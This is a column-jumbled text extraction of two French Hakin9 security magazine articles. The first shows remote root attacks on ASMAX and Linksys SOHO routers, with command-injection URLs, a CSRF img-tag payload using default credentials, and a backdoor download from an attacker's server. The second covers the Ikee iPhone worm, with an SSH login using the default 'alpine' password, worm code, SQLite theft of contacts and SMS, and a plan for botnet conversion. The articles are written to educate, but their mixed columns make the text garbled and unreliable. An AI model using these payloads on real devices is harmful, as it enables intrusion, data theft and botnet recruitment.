deadly? écrit par Armijn Hemel. que le logiciel de gestion de périphériques seau, analysons la sécurité du routeur AS-
Dans la suite de l'article, nous nous ne consomme pas les ressources précieu- MAX et de la console de gestion intégrée
concentrons sur les attaques relatives ses du matériel à une performance limitée. via le navigateur Internet. Il s'avère que :
à des points faibles dans le composant Et grâce aux droits de root, l'ensemble fonc-
spécifique du périphérique : le serveur http tionnera sans problèmes (droits maximaux • l'application Web de gestion utilisée
et la console de gestion qui y fonctionne. équivalent à l'absence de problèmes relatifs est compilée dans le fichier exécuta-
Nous indiquerons plus précisément à l'accès aux ressource définies). ble appelé webcm,
deux modèles de routeurs de la classe Les caractéristiques intégrées de ce • cette application utilise notamment le
SOHO où existe la possibilité d'appeler type de périphériques sont parfois les paramètre getpage pour télécharger
à distance de manière non autorisée la suivantes : les données définies dans l'interface

2/2010 HAKIN9 27
DOSSIER
administrative. L'exemple d'utilisation de • Vous vous rappelez qu'après avoir saisi root (un paramètre approprié transmis
ce paramètre se présente ainsi : l'adresse dans la console Web, vous au script),
• http://192.168.1.1/cgi-bin/webcm?getpage voyez s'afficher un écran de connexion. • l'utilisation des outils disponibles dans
=pointage_au_fichier_html&paramètre_ Pour accéder à notre script, nous de- le système du type wget/tftp, afin de
suivant... vons avoir un login et un mot de passe télécharger une simple porte dérobée
• les autres tests démontrent que le para- correct de l'administrateur de l'ordina- sur le routeur.
mètre getpage n'est pas validé correc- teur. Vraiment ? Pas nécessairement.
tement et permet de lire n'importe quel Il s'avère qu'en cas d'accès au fichier Vous connaissez donc les cadres du plan
fichier dans le système d'exploitation (en script, cette restriction n'est pas exi- d'attaque. Passons au détail de la première
particulier, le fichier webcm garantissant gée ! étape : Cross Site Request Forgery.
le support de l'administration du routeur), • Si nous ajoutons que le serveur http est Les attaques de la classe CSRF con-
• un autre problème est lié à la présence lancé avec les droits d'utilisateur, nous sistent à utiliser une certaine relation de
du fichier appelé script dans le réper- nous rendons compte de la manière confiance entre le navigateur Internet et le
toire /cgi-bin/ (vous pouvez le trouver dont l'intrus peut effectuer une attaque système attaqué à des buts hostiles. L'atta-
par un autre point faible : directory lis- à distante. que de ce type est indirecte et consiste à
ting dans le répertoire /cgi-bin/). Exé- forcer le navigateur de l'utilisateur à réaliser
cuter ce script ne fait rien de particulier Attaque sur des opération hostiles.
(écran vide de résultat). Mais en utili- ASMAX AR 804 gu L'exemple d'une relation de confiance est
sant le point précédent, relatif au para- Nous présentons ci-dessous un exem- une session active sur un site de banque.
mètre getpage, il est possible d'afficher ple de chemin d'attaque, permettant de Nous profitons de la relation lorsque la victi-
la source du fichier script. Il s'avère qu'il prendre le contrôle à distance du système me ouvre un site Web préparé (dans ce cas-
s'agit d'un script qui sert le plus proba- d'exploitation du routeur (sachant qu'il s'agit là, l'attaquant peut effectuer un virement non
blement aux développeurs du fabricant d'un des plusieurs chemins possibles...). autorisé au nom de la victime). Autrement dit,
à déboguer le routeur. Parmi plusieurs L'attaque est activée après que la victime alors que vous êtes connecté au site d'une
paramètres d'exécution, un paramè- visite un site Web ennemi et les étapes sui- banque et visitez en même temps un site
tre avec un nom intéressant est dis- vantes comprennent : Web malveillant, l'attaque CSRF peut être lan-
ponible : system. En transmettant ce cée pour voler l'argent de votre compte.
paramètre, vous permettez d'exécuter • l'attaque CSRF, Ce type d'action peut être également
n'importe quelle commande dans le • l'utilisation du point susceptible de la réalisé au moment de la tentative d'attaque
système d'exploitation ! classe Authentication Bypass pour le du routeur. Dans notre cas, en raison des
script script (ou plutôt : Lack of Authenti- points susceptibles indiqués ci-dessus
L'appel se présente de manière suivante cation), (principalement : Authentication Bypass),
:http://192.168.1.1/cgi-bin/script?system% • l'utilisation du point susceptible de la l'attaque est simplifiée. Nous utilisons à
20ps%20aux classe OS Commanding, permettant présent une autre relation de confiance,
La Figure 1 présente le résultat de cette d'exécuter les commandes du sys- à savoir, la présence de la station avec
commande. tème d'exploitation avec les droits de un navigateur Internet dans le réseau LAN
(d'après cette localisation, vous avez un
accès réseau à la console de gestion).
Utiliser cette relation consistera à appeler
de manière non autorisée du fichier script
analysé ci-dessus.
Plus précisément, afin d'appeler n'im-
porte quelle commande dans le système
d'exploitation où fonctionne le routeur de la
victime, il suffit :

• de placer la balise HTML : <img


src = http://192.168.1.1/cgi-bin/
script?système%20commande%20pa
ramètres>; sur un site Web,
• de convaincre la victime de visiter ce
site.

Par la suite, la porte dérobée sera automa-


Figure 1. Exécution de la commande dans le système d'exploitation – routeur ASMAX tiquement téléchargée depuis le serveur

28 HAKIN9 2/2010
ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

de l'attaquant via le client tftp. Enfin, le script à moindre degré que celle en provenance En préparant la requête http d'une ma-
ennemi confronte la double communica- de l'Internet. De plus, dans l'infrastructure nière appropriée, il est possible d'exécuter
tion avec la machine de l'intrus (grâce, par entreprise, l'existence d'un point faible une commande système (en tant que root)
exemple, à l'option d'envoi des fichiers par permettant d'exécuter une commande du sur le système Linux qui contrôle le routeur.
le client tftp) en donnant ainsi à l'attaquant système d'exploitation peut avoir des con- Une request http appropriée se pré-
la possibilité d'effectuer des commandes à séquences néfastes (les utilisateurs avec sente de manière suivante (c'est une re-
distance en tant que root. des droits différents ont souvent accès à quête originale du type POST codé sur la
Afin de dissiper les doutes quant à la console d'administration et le point faible méthode GET) – Listing 1.
l'aspect théorique du scénario, sachez de ce type peut servir à contourner les mé- La Figure 2 présente la réponse à cette
que l'attaque fonctionnant pour ce modèle canismes d'autorisation). request .
de routeur a été présentée en temps réel Comme vous pouvez le constater, la
pendant la conférence Confidence 2009. Linksys WAG54G2 requête utilise en plus un en-tête http ap-
Regardons à présent les caractéristiques L'un des périphériques Linksys de Cisco pelé Authorization où il faut transmettre
d'une attaque de ce type : est un autre exemple de possibilités d'atta- le nom correct et le mot de passe de l'ad-
que sur le routeur personnel. Son fonction- ministrateur au routeur. Vu que la plupart
• elle est quasiment indétectable pour nement repose sur l'architecture matérielle des personnes ne modifient pas le mot de
une victime non expérimentée, ARM. Les points faibles décrits ci-dessous passe administratif par défaut du routeur, il
• elle ne nécessite pas d'utiliser JavaS- ont été vérifiés par nos soins sur un firm- est possible d'effectuer une attaque simi-
cript (et le logiciel du type NoScript ne ware V1.00.10. En janvier 2009, Cisco a pro- laire dans le cas du périphérique ASMAX.
protège pas contre l'attaque), posé un nouveau firmware qui corrigeait le Nous pouvons reposer le plus simple proof
• l'attaque ne nécessite pas un mot de plus probablement ces erreurs. of concept de l'attaque de ce type sur l'uti-
passe d'administration pour le routeur Dans le cas de ce routeur, il est possi- lisation d'une erreur dans les navigateurs
(modifier le mot de passe d'accès au ble d'exécuter les commandes du système Firefox. Après que nous ayons saisi l'URL
périphérique ne protège pas contre d'exploitation grâce à la faille dans le logiciel préparée selon le schéma http://user:
l'attaque, la propriété acquise grâce au Web de la console de gestion. Plus préci- password@example.com/ dans la barre
point faible : Authentication Bypass), sément, les paramètres d'entrée ne sont d'adresses du navigateur, ce dernier nous
• l'attaque fonctionne quelque soit le blo- pas correctement validés lors de l'appel demande de confirmer si nous voulons
cage des connexions depuis Internet ( système de la commande ping depuis la vraiment nous connecter avec l'utilisateur/
la propriété acquise grâce à l'attaque console Web. L'application est susceptible le mot de passe précisé. Si nous utilisons
CSRF), à l'injection de la commande du système img dans la structure ci-dessus dans la
• l'attaque nécessite que la victime visite d'exploitation en utilisant les caractères tels balise html, l'alerte n'est pas générée. En se
le site avec le code HTML malveillant que : ; & | `` %0a – donc une manière fondant sur ce fait, l'attaquant peut préparer
(remarquez toutefois que de nombreux traditionnelle pour profiter du point faible OS un site avec la balise html qui se présente
serveurs permettent de joindre un fi- Commanding dans les applications Web. de la manière suivante : Listing 2.
chier graphique avec la source qu'ils
contrôlent),
Listing 1. Accéder en tant que root sur le routeur Linksys depuis la console d'admi-
• il n'est pas nécessaire d'être logué à la nistration
console de gestion lors de l'accès au
GET /setup.cgi?ping_ipaddr1=9&ping_ipaddr2=9&ping_ipaddr3=9&ping_ipaddr4=9&ping_
site Web hostile (la propriété acquise
size=60&ping_number=1&ping_interval=1000&ping_timeout=5000
grâce au point faible Authentication By- &start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&
pass). next_file=Diagnostics.htm&c4_ping_ipaddr=9.9.9.9;/bin/ls%20-
l&message= HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=
Ajoutons aussi que les points faibles ana-
lysés ci-dessous ont été vérifiés sur le fir-
mware le plus récent : 66.34.1. Au moment
de préparer l'article, nous ne pouvons pas
prévoir si le fabricant publiera des correc-
tifs de ces erreurs.
Remarquons aussi que si l'attaque de
ce type était effectuée sur l'infrastructure de
la classe entreprise, la source de l'attaque
(adresse IP) notée éventuellement dans
les journaux log du système se trouverait
dans le réseau local. La communication
effectuée depuis LAN est en général filtrée Figure 2. Point faible de OS Commanding dans le routeur Linksys

2/2010 HAKIN9 29
DOSSIER
Si l'utilisateur est en possession du • implémentation de plusieurs types d'at- Les utilisateurs à domicile considèrent ce
routeur analysé et n'a pas modifié le mot taques (y compris plusieurs attaques type de périphériques comme des boîtes
de passe par défaut, il ne remarquera pas différentes DoS, scan à la recherche noires sûres qui fonctionnent très bien et
qu'une commande avec les droits de l'uti- des serveurs MySQL avec failles ou peu de personnes fait des mises à jour pé-
lisateur root a été exécuté (les personnes des installations phpMyAdmin suscep- riodiques du firmware sans parler de scan-
qui ont modifié le mot de passe verront tibles), ner ce type de systèmes à la recherche
s'afficher une fenêtre de connexion du • un logiciel prêt a été le plus proba- des chevaux de Troie/des vers/ou autres
routeur). blement utilisé pour créer les botnets logiciels malveillants. De plus, très peu
(l'une des commandes de contrôle de d'utilisateurs modifient les mots de passe
Conséquence de l'attaque botnet peut en témoigner : .r00t utili- d'accès par défaut aux périphériques. Du
– psyb0t sant vmsplice() exploit pour obte- point de vue des attaquants, le fait que les
La détection d'un ver attaquant les routeurs nir l'accès en tant que root depuis le ordinateurs de cette classe ne sont quasi-
et les modems DSL de la classe SOHO niveau d'un utilisateur avec moins de ment jamais éteints (contrairement à des
était un cas largement commenté au dé- droits. N'oublions pas que l'accès ad- ordinateurs ordinaires) n'est pas sans im-
but de 2009. Ce ver, appelé psyb0t , ajoutait ministratif était assuré à perfection sur portance.
les ordinateurs infectés au botnet qui à son les ordinateurs infectés),
tour effectuait une attaque DDoS sur Dro- • le ver a infecté près de 100 000 ordina- Autres conséquences de
neBL. Les données sur le botnet ne sont teurs. l'attaque
pas nombreuses (sans parler d'informa- À part les attaques DdoS susmentionnées
tions à sensation sur les portails populai- Le botnet a terminé officiellement le fonc- ou la possibilité d'une attaque directe sur
res). Nous savons à 100 % que le ver : tionnement avec le message sur son ca- d'autres périphériques/serveurs, il est pos-
nal IRC : sible d'écouter le trafic ou d'effectuer des
• se propageait via les interfaces d'ad- * Now talking on #mipsel * Topic for attaques actives de la classe MiTM (Man
ministration partagées dans le Net (uti- #mipsel is: .silent on .killall .exit ._exit_ .Re- in The Middle), par exemple, sur les con-
lisation des mots de passe par défaut search is over: for those interested i rea- nexions aux sites de banques (directement,
ou dictionnaire sur les ordinateurs), ched 80K. That was fun :), time to get back sur le protocole https ou indirectement, en
• une fois l'accès root via l'interface d'ad- to the real life.... interceptant et en modifiant les requêtes
ministration obtenu, la suite de l'infec- En analysant le cas psyb0t , nous pou- DNS). D'autres opérations traditionnelles
tion consistait à télécharger un fichier vons donc voir que l'utilisation des périphé- de ce type sont à prendre en considéra-
binaire depuis un serveur défini et à le riques réseau de la classe SOHO dans tion, comme envoi des spams. Bref, toutes
lancer sur l'ordinateur. À ce moment- les buts hostiles, c'est un fait. Le scénario les attaques qui se caractérisent par l'ac-
là, avait lieu la connexion au serveur de l'attaque est relativement simple et uni- cès non autorisé à notre réseau LAN.
IRC où un zombie attendait la suite versel (utilisation des interfaces d'adminis- Les points faibles présentés dans
d'instructions (par exemple, chercher tration partagées et des mots de passe l'article peuvent être aussi considérés
d'autres périphériques susceptibles où faibles, voire des mots de passe par dé- comme éducatifs, non liés à la sécurité
il est possible d'installer le ver). Toutes faut). Nous pouvons probablement nous elle-même. Nous obtenons en effet un
les connexions administratives sont attendre dans l'avenir à d'autres attaques accès complet à un matériel pas cher
bloquées sur l'ordinateur infecté, analogues « invisibles » sur d'autres pla- avec une architecture différente que x86
• le ver attaquait les périphériques fon- tes-formes matérielles. Avec le temps, les populaire. De plus, nous avons un systè-
dés sur l'architecture MIPS little endian techniques plus avancées seront sûrement me d'exploitation ouvert, disponible, pré-
(le fonctionnement du routeur ASMAX utilisées et consisteront à utiliser d'autres configuré qui fonctionne sans problème.
susmentionné repose justement sur erreurs : dans la configuration de périphé- Cela peut constituer un bon démarrage
ce type de matériel, n'oublions pas riques ou d'erreurs dans le logiciel des or- pour apprendre l'assembleur pour des
non plus que le code compilé pour dinateurs. processeurs atypiques ou pour aider à
l'architecture matérielle donnée ne Il est aussi conseillé de faire attention analyser la structure et la configuration
fonctionnera pas sur d'autres plates- au fait que ce type d'attaques s'effectuent à interne des périphériques de cette classe.
formes), l'endroit considéré comme assez sécurisé. Si vous vous intéressez à ce type d'opé-
rations, prenez connaissance du texte qui
explique comment lancer un logiciel ar-
Listing 2. Utilisation de l'erreur dans Firefox pour effectuer l'attaque CSRF
gus d'une manière plus organisée (c'est
<img src='http://admin:admin@192.168.1.1/setup.cgi?ping_ipaddr1=1&ping_ l'une des applications les plus intéressan-
ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_t
tes utilisées avec NSM (Network Security
imeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnost
ics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ Monitoring)) sur le routeur Linksys (voir
touch%20/tmp/yyyyQ&message='> l'encadre « Sur le Net »). Dans un tel cas,
vous trouverez utile le sujet lié aux com-

30 HAKIN9 2/2010
Sur le Net
• http://www.cisco.com/en/US/docs/security/asa/asa80/license/opensrce.html,
• http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-fx.pdf,
• http://secunia.com/advisories/18393/,
• http://www.zlib.net/,
• http://www.upnp-hacks.org/fosdem2008-presentation.pdf,
• http://www.gnucitizen.org/blog/router-hacking-challenge/,
• http://www.owasp.org/index.php/CSRF,
• https://bugzilla.mozilla.org/show_bug.cgi?id=496365,
• http://www.dronebl.org/blog/8,
• http://www.ifp.illinois.edu/~nakazato/tips/xgcc.html,
• http://cross-lfs.org/view/1.0.0/mips/index.html,
• http://www.routertech.org/index.php,
• http://openwrt.org/,
• http://geek00l.blogspot.com/2009/04/argus-3x-on-linksys-wrt54gl.html,
• http://www.milw0rm.com/exploits/9209,
• http://users.adam.com.au/bogaurd/PSYB0T.pdf?info=EXLINK .

pilateurs croisés (qui permettent de créer les connexions htpp au réseau avec des
un code exécutable pour une autre plate- adresses privées échouent (il est possible
forme que celle où fonctionne le compila- de le faire via le mécanisme d'auto-confi-
teur.) et aux projets : routertech et openwrt guration du proxy ou en utilisant le plug-in
(qui fournissent des firmwares alternatifs approprié au navigateur Internet, par exem-
pour de nombreux périphériques de la ple, FoxyProxy).
classe SOHO. Bien évidemment, une protection très
efficace consisterait à concevoir des pé-
Comment prévenir ce type riphériques réseau en pensant depuis le
d'attaques ? début à la sécurité mais en général, nous
Comme vous l'avez vu auparavant, mo- n'avons aucune influence dessus.
difier un mot de passe par défaut ne
constitue pas une protection à 100 % Conclusion
(voir : les points faibles de la classe Nous avons présenté plusieurs problè-
Authentication Bypass mentionnés mes de sécurité caractéristiques pour les
auparavant). De même, une actualisation périphériques réseau. Nous avons égale-
périodique de firmware peut nous laisser ment analysé des points faibles concrets
sensible aux attaques (les fabricants igno- dans deux modèles de routeurs de la
rent parfois les problèmes de sécurité ; classe SOHO, en indiquant des possibi-
préparer un nouveau firmware se calcule lités potentielles de protection contre les
souvent en mois). Ces deux étapes font attaques.
toutefois partie des méthodes de protec- Nous espérons avoir encouragé les
tion les plus efficaces. personnes curieuses à faire leurs propres
Une bonne pratique consiste égale- recherches. Il arrive en effet souvent que
ment à ne pas partager les interfaces les périphériques de ce type se trouvent
d'administration en dehors de LAN. sous la main et les points faibles ne sont
La méthode la plus simple pour se pas très difficiles à trouver. Nous vous in-
protéger contre les attaques CSRF sus- vitons aussi à faire partager vos résultats
mentionnées sur les périphériques con- et à développer la base du projet Devices
siste à modifier l'adresse IP interne par Hacking.
défaut de l'ordinateur. Parfois, les fabricants
ne prévoient pas une telle possibilité et en
Michał Sajdak
plus, ce n'est pas un élément de base de Il a une expérience de plusieurs années dans les do-
maines de IT security et Software. Il a réalisé des audits
la protection mais plutôt un élément sup-
de sécurité, y compris les tests de pénétration, pour les
plémentaire. Dans ce cas-là, la méthode la plus grandes organisations en Pologne. Certifié CISSP, il
s'intéresse à la sécurité des applications et en particulier,
plus efficace consiste à configurer le proxy des applications Web. Il est aussi directeur de dévelop-
dans le navigateur Internet de sorte que pement dans la société Securitum.
FOCUS
Les premiers
RÉMI LAURENT

virus iPhone
sont là !
Degré de difficulté

Ikee et Iphone/Privacy.A. Voici les doux noms des premiers


virus ciblant l'iPhone d'Apple. Souvent mis en avant pour les
fonctionnalités qu'il apporte, nous verrons que le jailbreak met en
danger la confidentialité et l'intégrité de vos données.

L
'évolution des téléphones portables nous Configuration par défaut
a permis de posséder de véritables d'OpenSSH
ordinateurs de poche reliés constamment L'iPhone est un téléphone tout public sur lequel
à Internet, offrant aux utilisateurs toutes les beaucoup de personnes y appliquent un
fonctionnalités que cela apporte mais également jailbreak et y installent un ser veur OpenSSH
son lot de vulnérabilités. sans savoir concrètement ce qu'elles font
Le succès de l'iPhone a récemment attiré la et sans avoir été sensibilisées aux risques
curiosité de hackers qui ont réussi à trouver une auxquels elles s'exposent en ef fectuant ces
faille dans le téléphone d'Apple et à l'exploiter. Et manipulations.
niveau exploitation, nous avons été gâtés puisqu'un Jailbreaker son iPhone consiste à débloquer
ver a de suite fait son apparition, le ver Ikee, son téléphone afin d'y installer des applications
contaminant de nombreux utilisateurs australiens, provenant d'autres sources que l'App Store (2).
pays d'origine du développeur du virus. Ce ver n'a Une méthode afin d'installer ces applications
pas eu de graves conséquences mais a permis consiste à ajouter un serveur OpenSSH via Cydia
de mettre en avant une vulnérabilité affectant (3) sur l'iPhone afin d'y déposer des applications
tous les iphones jailbreakés avec OpenSSH (1) récupérées sur Internet.
configuré par défaut. Cependant, l'iPhone possède 2 comptes par
Nous allons tout d'abord étudier la vulnérabilité défaut, mobile et root, ayant un mot de passe
CET ARTICLE
EXPLIQUE... et son exploitation avec le code du ver Ikee. Ensuite, connu : alpine. Ainsi, dès l'installation du serveur
nous verrons la faiblesse qu'entraine le jailbreak OpenSSH, l'iPhone devient accessible à tous tant
La vulnérabilité exploitée par les
premiers virus iPhone en facilitant l'accès aux informations de l'utilisateur que ces mots de passe restent inchangés comme
Comment sont stockées les et nous constaterons qu'aucune protection montré au Listing 1.
informations dans l'iPhone n'a été mise en place par Apple en protection De plus, peu de personnes s'en sont
Les faiblesses qu'apporte le d'un code malicieux. Nous continuerons par le rendu compte mais l'iPhone se connecte
jailbreak
développement d’un script en Python permettant automatiquement à votre réseau wifi lorsqu'il est
Comment se protéger du ver
d'exploiter la vulnérabilité puis de récupérer les en charge. Le téléphone se retrouve donc très
Ikee et de ses variantes
informations personnelles d'un utilisateur afin souvent vulnérable.
CE QU'IL FAUT de démontrer la simplicité d'exploitation de cette
SAVOIR... vulnérabilité en augmentant son impact. Enfin, Le ver Ikee (4)
Notions sur Sqlite nous vous indiquerons quand même comment Constatant la simplicité d’exploitation de cette
Notions en Python vous protéger afin d’éviter que votre iPhone ne soit vulnérabilité, un jeune australien du nom d’Ashley
Notions en shell piraté ! Towns a décidé de la dévoiler au grand jour en

32 HAKIN9 2/2010
LES PREMIERS VIRUS IPHONE SONT LÀ !

développant un ver en C qui scanne de l'iPhone (7), ce qui n'avait pas été Stockage des contacts / SMS et
des réseaux prédéfinis et dont l'action identifié par Apple. Mais ce n'est pas le emails
principale consiste à modifier le fond sujet ici :) Les données les plus importantes et
d'écran de la victime en y mettant le Apple contrôle donc ses applications les plus convoitées sont les données
portrait de Rick Astley, une star pop et, afin de s'assurer de leur intégrité, utilise personnelles du propriétaire du téléphone,
anglaise des années 80. un système de signature numérique pour c'est-à-dire ses contacts, ses SMS et ses
Le Listing 2 montre que le ver certifier l'origine du programme. Apple e-mails. Une fois le jailbreak appliqué il est
a un comportement très basique. Une agit donc comme acteur de confiance possible d'y accéder et de les récupérer
fois installé sur l'iPhone en se connectant mais s'accorde, en contre-partie, le via SSH.
par SSH via le compte root, il configure droit de sélectionner les applications Les mails sont stockés dans le répertoire
l'iPhone pour changer le fond d'écran à qui seront proposées dans l'App Store /private/var/mobile/Library/Mail/
chaque démarrage ( ChangeOnBoot();) ce qui dérange beaucoup d'utilisateurs Pour les lire, rien de compliqué, ils
puis il coupe le serveur SSHD afin que souhaitant installer des applications sont stockés en fichier texte en clair
la vulnérabilité ne soit plus exploitée qui auraient été refusées par Apple et donc, il suffit de les télécharger et de les
( KillSSHD();) et enfin scanne le LAN qui décident alors de jailbreaker leur lire directement. Si vous observez des
et des plages d'IP sur Internet afin de se téléphone. caractères bizarres, c’est tout simplement
propager. Le jailbreak permet d'ouvrir le une pièce jointe encodée en base64,
Ce ver n'a eu que très peu d'effet mais téléphone (au sens figuré) et d'installer l’encodage servant à assurer l’intégrité
il aurait pu en être tout autrement comme des applications sans passer par l'App lors d’un envoi de mail. Un simple script
nous le verrons par la suite. Store et donc, sans être soumis au PHP utilisant la fonction base64 _
système de signature d'Apple. Ainsi, decode () vous permettra de récupérer la
Stockage des données sur il est possible d'installer n'importe pièce jointe.
iPhone quelle application téléchargée en la Les contacts sont placés dans
Ce premier ver n’était qu’une alerte car il ne plaçant sur l'iPhone via OpenSSH ou le fichier /private/var/mobile/Library/
provoquait aucun dommage. Cependant, en utilisant par exemple une boutique AddressBook/AddressBook.sqlitedb
nous allons voir qu'une fois connecté à un d'applications non officielle comme Les SMS sont du même type et sont
iPhone via SSH, il est possible d'obtenir Cydia. Le chainon de confiance est placés dans le fichier /private/var/mobile/
des informations confidentielles comme alors rompu et rien ne permet de Library/SMS/sms.db
la liste des contacts, des SMS ou des prévoir à l'avance le comportement Rapatrions maintenant les contacts
e-mails. de l'application installée. Pour faire un pour analyser leur structure. Comme le
parallèle avec un ordinateur classique, montre le Listing 3, les contacts sont
Les faiblesses du jailbreak cela revient à installer une application stockés dans un fichier Sqlite 3. Cette
Jailbreaker son iPhone est devenu une piratée via P2P. La seule protection base n'est pas chiffrée ni protégée par
opération assez triviale puisqu'il existe des est alors de croiser les doigts et une quelconque sécurité et une simple
applications automatisant cette opération espérer que rien de néfaste n'arrive. commande de dump avec sqlite3 nous
comme blackra1n (5) du maintenant Toutes vos données, contacts, SMS, affichera la base de données complète
célèbre George Hotz (6). Il n'y a qu'à e-mails, photos, musiques se retrouvent des contacts de la victime, sa structure et
brancher l'iPhone, lancer le programme et accessibles et manipulables par ces ses données.
attendre 2 minutes. Le problème c'est que logiciels sans garantie d'une mauvaise L'ensemble des informations
peu de personnes ont vraiment cherché utilisation de leur part. des contacts (numéro de téléphone,
à comprendre à quoi elles s'exposaient
avant de faire cela.
Apple a choisi à la base de fermer Références
complètement son téléphone, c'est-à- • (1) http://www.openssh.com/ – site officiel de OpenSSH,
dire que pour y ajouter une application, • (2) http://store.apple.com/fr – site officiel de l’Apple Store
il est nécessaire de passer par l'App • (3) http://cydia.saurik.com/ – Cydia, l’application non officielle d’installation d’applications
Store fourni par le téléphone. Les iPhone
applications présentes sur ce dépôt ont • (4) http://vx.netlux.org/src_view.php?file=ikee.zip – code source du ver Ikee,
• (5) http://blackra1n.com/ – site de blackra1n, l’application pour jailbreaker l’iPhone
été testées et répondent à des critères
• (6) http://fr.wikipedia.org/wiki/George_Hotz – Page sur George Hotz
définis par Apple pour juger de la qualité • (7) http://github.com/nst/spyphone/ – accès aux informations de l'iPhone depuis le SDK,
et de la sécurité pour l'utilisateur. Certes, • (8) http://www.lag.net/paramiko/ – site de la librairie Python Paramiko
récemment, des dérives ont été vues • (9) http://developer.apple.com/iphone/program/ – site officiel de développement sur
comme la récupération du numéro iPhone
de téléphone d'utilisateurs ou de toute
autre information en utilisant le SDK

2/2010 HAKIN9 33
FOCUS
adresse email) est stocké dans la de téléphone de tous les contacts Sqlite lisible sans aucune manipulation
table ABMultiValue . Les noms des des iPhones sur lesquels il arrive à se particulière (cf : Listing 5).
contacts sont, eux, stockés dans la table connecter afin de mettre un numéro Il suffit donc de lire la table message
ABPerson . payant en 08 XX XX XX XX comme de la base sms.db pour obtenir la liste
De la même manière, il est possible le montre le Listing 4 puis, il renverra complète des SMS ainsi que les numéros
par exemple de modifier des entrées toujours par SSH cette base de contact des destinataires des messages envoyés
par la commande SQL Update . Ainsi, sur l'iPhone des victimes. et les numéros d'origine des messages
nous pourrions imaginer un scénario De la même manière, nous voyons que reçus.
d'attaque où le pirate modifie le numéro le fichier de SMS est également un fichier Apple n'a pas protégé ces informations
de par sa politique de fermer complètement
le système.
Listing 1. Connexion SSH vers un iPhone
Ainsi, en jailbreakant l’iPhone, tous les
(cloud ~) 0 $ ssh root@192.168.0.2 critères de sécurité se retrouvent affectés
The authenticity of host '192.168.0.2 (192.168.0.2)' can't be established.
: la disponibilité si le pirate décide de
DSA key fingerprint is 3f:3e:55:3f:9e:9d:14:c9:68:59:fa:45:89:2a:09:f2.
Are you sure you want to continue connecting (yes/no)? yes supprimer les données ou le système,
Warning: Permanently added '192.168.0.2' (DSA) to the list of known hosts. l'intégrité et la confidentialité.
root@192.168.0.2's password: alpine
iPhone:~ root# uname -a
Darwin iPhone 10.0.0d3 Darwin Kernel Version 10.0.0d3: Wed May 13 22:11:58 PDT 2009;
Développement d'un PoC
root:xnu-1357.2.89~4/RELEASE_ARM_S5L8900X iPhone1,2 arm N82AP Maintenant que nous avons vu le détail
Darwin de la vulnérabilité OpenSSH et où sont
stockées les informations de l'iPhone,
Listing 2. Extrait du main() du ver Ikee
voyons comment automatiser ces actions
int main(int argc, char *argv[]) afin de développer un script permettant de
{ scanner un réseau et de voler les contacts
if(get_lock() == 0) {
syslog(LOG_DEBUG, "I know when im not wanted *sniff*");
et SMS de tous les iPhones présents sur
return 1; } // Already running. ce réseau. Ce script sera développé en
sleep(60); // Lets wait for the network to come up 2 MINS Python (voir Listing 6).
syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling");
Le principe est simple : notre
char *locRanges = getAddrRange(); script scanne tout d'abord un réseau
char *lanRanges = "192.168.0.0-192.168.255.255"; en /24 en tentant de se connecter au
char *vodRanges1 = "202.81.64.0-202.81.79.255"; port SSH (22) de toutes les IPs de
...............
la plage réseau choisie. Si le client
char *telRanges = "58.160.0.0-58.175.255.25";
répond, son IP est placée dans une
syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!"); liste (ip _ list). Une fois le scanne
ChangeOnBoot();
terminé, le script tente de se connecter
KillSSHD();
// Local first aux IPs de ip _ list avec le mot de
while (1) passe par défaut du compte root de
{ l'iPhone, "alpine" (t.connect(hostname,
syslog(LOG_DEBUG, "Checking out the local scene yo");
port=port, username =username,
scanner(locRanges);
syslog(LOG_DEBUG, "Random baby"); password=password)). S'il arrive à se
int i; connecter, il rapatrie alors les fichiers
for (i=0; i <= 2; i++) de contacts et de SMS de l'iPhone sur
{
char *ipaddr = randHost();
l'ordinateur de l'attaquant (ftp.get(sms _
char *rrange; remote, local _ file _ ok)).
asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr); Pour réaliser la connexion et le transfert
scanner(rrange);
des fichiers par SSH, nous utiliserons la
}
// Lan librairie Paramiko (8).
syslog(LOG_DEBUG, "Lannnnn");
scanner(lanRanges); Transformer l’iPhone en
syslog(LOG_DEBUG, "VODAPHONE");
scanner(vodRanges1);
zombie de Botnet
.................... Maintenant que nous avons volé toutes
} les données, nous allons pousser le
} vice en transformant l'iPhone piraté en
un zombie de Botnet grâce à un simple
script shell que vous pouvez voir dans le

34 HAKIN9 2/2010
LES PREMIERS VIRUS IPHONE SONT LÀ !

Listing 7. Le principe est on ne peut plus paquet wget et son installation via ssh chose qui ne devrait pas être compliquée
simple : un pré-requis est le dépôt du avec la commande dpkg -i wget.deb , étant donné que vous êtes root sur

Listing 3. Analyse du fichier de contact

( cloud ~) $ file AddressBook.sqlitedb


AddressBook.sqlitedb: SQLite 3.x database
( cloud ~) $ sqlite3 AddressBook.sqlitedb ".dump"| more
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
........
CREATE TABLE ABMultiValue (UID INTEGER PRIMARY KEY, record_id INTEGER, property INTEGER, identifier INTEGER, label INTEGER, value
TEXT);
INSERT INTO "ABMultiValue" VALUES(1,1,3,0,1,'06 60 25
XX');
INSERT INTO "ABMultiValue" VALUES(2,1,3,1,2,'05 12 39 49 XX');
........

( cloud ~) $ sqlite3 AddressBook.sqlitedb


SQLite version 3.6.19
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
#Récupérons la liste des tables de la base de contact
sqlite> .tables
ABGroup ABPersonMultiValueDeletes
ABGroupChanges ABPersonSearchKey
ABGroupMembers ABPhoneLastFour
ABMultiValue ABRecent
ABMultiValueEntry ABStore
ABMultiValueEntryKey FirstSortSectionCount
ABMultiValueLabel LastSortSectionCount
ABPerson _SqliteDatabaseProperties
ABPersonChanges
sqlite> select * from ABPerson;
1|Nom Prenom 1|||||||||0…..
2|Nom Prenom 2|||||||||0…..

................

Listing 4. Modification des numéros des contacts

( cloud ~) $ sqlite3 AddressBook.sqlitedb


SQLite version 3.6.19
Enter ".help" for instructions
